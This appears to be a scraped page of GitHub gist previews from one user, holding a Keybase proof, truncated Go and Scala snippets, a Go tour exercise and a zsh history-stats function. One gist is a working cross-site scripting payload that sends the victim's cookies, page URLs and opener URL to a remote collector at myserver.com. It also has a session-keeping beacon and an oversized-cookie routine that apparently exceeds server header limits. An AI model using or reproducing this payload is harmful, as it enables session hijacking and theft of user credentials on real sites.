I hereby claim:
- I am vic020 on github.
- I am vicyu (https://keybase.io/vicyu) on keybase.
- I have a public key ASCtCTwiE6oy2Tv4n_F6tb8M_KLmA9Lmbv60t0O6tXUZMAo
To claim this, I am signing this object:
package main | |
import ( | |
"archive/zip" | |
"bytes" | |
"fmt" | |
"gopkg.in/cheggaaa/pb.v1" | |
"io" | |
"io/ioutil" | |
"log" |
I hereby claim:
To claim this, I am signing this object:
package main | |
import ( | |
"net/http" | |
"fmt" | |
"io/ioutil" | |
"encoding/json" | |
"os" | |
"path/filepath" | |
"strings" |
/* Exercise: Images Solutions */ | |
package main | |
import ( | |
"golang.org/x/tour/pic" | |
"image" | |
"image/color" | |
) |
import java.security.MessageDigest | |
object EncryptionUtil { | |
def md5(string: String): String = MessageDigest.getInstance("MD5").digest(string.getBytes("UTF-8")).map("%02x".format(_)).mkString | |
def sha1(string: String): String = MessageDigest.getInstance("SHA-1").digest(string.getBytes("UTF-8")).map("%02x".format(_)).mkString | |
def sha224(string: String): String = MessageDigest.getInstance("SHA-224").digest(string.getBytes("UTF-8")).map("%02x".format(_)).mkString | |
def sha256(string: String): String = MessageDigest.getInstance("SHA-256").digest(string.getBytes("UTF-8")).map("%02x".format(_)).mkString |
(function(){(new Image()).src='http://myserver.com/xss//index.php?do=api&id=kQjOff&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})(); | |
if(''==1){keep=new Image();keep.src='http://myserver.com/xss//index.php?do=keepsession&id=kQjOff&url='+escape(document.location)+'&cookie='+escape(document.cookie)}; | |
function setCookies () { | |
/*apache server limit 8192*/ | |
var str = ""; | |
for (var i=0; i< 819; i++) { | |
str += "x"; | |
} | |
for (i = 0; i < 10; i++) { | |
var cookie = "ray"+i+"="+str+";path=/"; |
zsh_stats () { | |
fc -l 1 | awk '{CMD[$2]++;count++;}END { for (a in CMD)print CMD[a] " " CMD[a]/count*100 "% " a;}' | grep -v "./" | column -c3 -s " " -t | sort -nr | nl | head -n20 | |
} |